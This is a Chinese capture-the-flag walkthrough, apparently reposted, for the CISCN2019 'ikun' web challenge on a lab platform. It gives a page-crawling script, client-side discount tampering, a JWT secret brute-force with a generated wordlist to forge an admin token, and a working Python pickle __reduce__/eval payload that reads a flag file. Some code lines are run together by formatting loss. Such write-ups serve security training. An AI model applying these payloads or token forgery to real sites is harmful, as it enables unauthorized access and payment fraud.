本文主要是介绍CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册
- 爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化
- 爬虫根据要求查找 lv6 的商品
- 支付逻辑漏洞
- jwt 密钥爆破
- python 反序列化
爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化
爬虫根据要求查找 lv6 的商品
这里直接利用 python 写一个脚本爬取
# -*- coding: UTF-8 -*-
# Time : 2022/11/14 10:37
# FILE : rangeLv6.py
# PROJECT : range.py
# Author : kkk
import time
from lxml import etree
import urllib.request# 定义请求
def requestUrl(i):url = "http://30cfb206-9fe2-4b24-912f-a41ef6ca4adb.node4.buuoj.cn:81/shop?page=" + str(i)res = urllib.request.urlopen(url).read().decode('utf-8')return resdef check(content, i):tree = etree.HTML(content)res = tree.xpath("/html/body//img[@class='lv']/@src")for item in res:if ('lv6' in item):print(i)return Truereturn Falseif __name__ == '__main__':print("running......")for i in range(1, 1000):if (i % 10 == 0):# 防止请求太频繁time.sleep(0.5)if(check(requestUrl(i), i)):break
发现 lv6 商品在 181 页:
支付逻辑漏洞
点击购买再点击结算,回显操作失败,查看账户余额发现是金额不够
查看优惠券附近的表单,发现折扣写在表单中:
直接修改折扣值,乘以 0.00000 很多个 08
jwt 密钥爆破
点击结算后虽然成功了,但是需要 admin 才能查看
看到这个一下就能想到垂直越权,所以直接刷新页面抓包
发现 JWT token
我们打开jwt 解密网站将其解密
发现用户是我刚刚注册的用户
我们只要将 username 的值修改为 admin 应该就可以绕过
但是我前两次用的字典都爆破失败了,所以这里写个脚本针对性生成密钥字典用来爆破
# _*_ utf-8 _*_
# Time : 2022/11/14 12:12
# FILE : keyFuzz.py
# PROJECT : range.py
# Author : kkk# 关键词 ikun
# 利用库生成字典
import itertools as itsif __name__ == '__main__':for i in range(1, 7):words = "1ikunIKUN"a = its.product(words, repeat=i)fp = open("pass.txt", "a")for i in a:fp.write("".join(i))fp.write("".join("\n"))fp.close()
生成的字典中包含 1ikunIKUN
字符串从一位到七位的所有组合
成功爆破出 key 为 1Kun
我们将密钥填入,并且把 username 修改为 admin
复制得到的 jwt 到数据包中替换原来的 jwt 并且发送
伪造成 admin 成功进入该页面
python 反序列化
我们点击 一键成为大会员
页面没有变化,那么我们看该页面源码,发现了网站备份
在网站源码搜索该页面地址,发现路由指向 adminhandler
进入该目录,打开 admin 文件,发现接收了一个叫 become 的值
并且进行了反序列化,即可判断此处存在反序列化漏洞
再次点击 一键成为大会员
并且抓包,发现 become
通过反序列化的代码:
def post(self, *args, **kwargs):try:become = self.get_argument('become')p = pickle.loads(urllib.unquote(become))return self.render('form.html', res=p, member=1)except:return self.render('form.html', res='This is Black Technology!', member=0)
我们可以构造 payload 读取 flag,先用 pickle 进行序列化,然后再 URL 编码
- 但是注意一定要用 python2 来序列化,否则没有用,可能是版本不兼容
生成 payload 代码:
# -*- coding: UTF-8 -*-
# Time : 2022/11/14 17:26
# FILE : payload.py
# PROJECT : range.py
# Author : kkkimport pickle
import urllibclass payload(object):def __reduce__(self):return (eval, ("open('/flag.txt', 'r').read()", ))a = pickle.dumps(payload())
a = urllib.quote(a)
print(a) # 序列化然后再编码
在 kali 中用 python2 运行:
将 become 替换成 payload
成功读到 flag
这篇关于CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!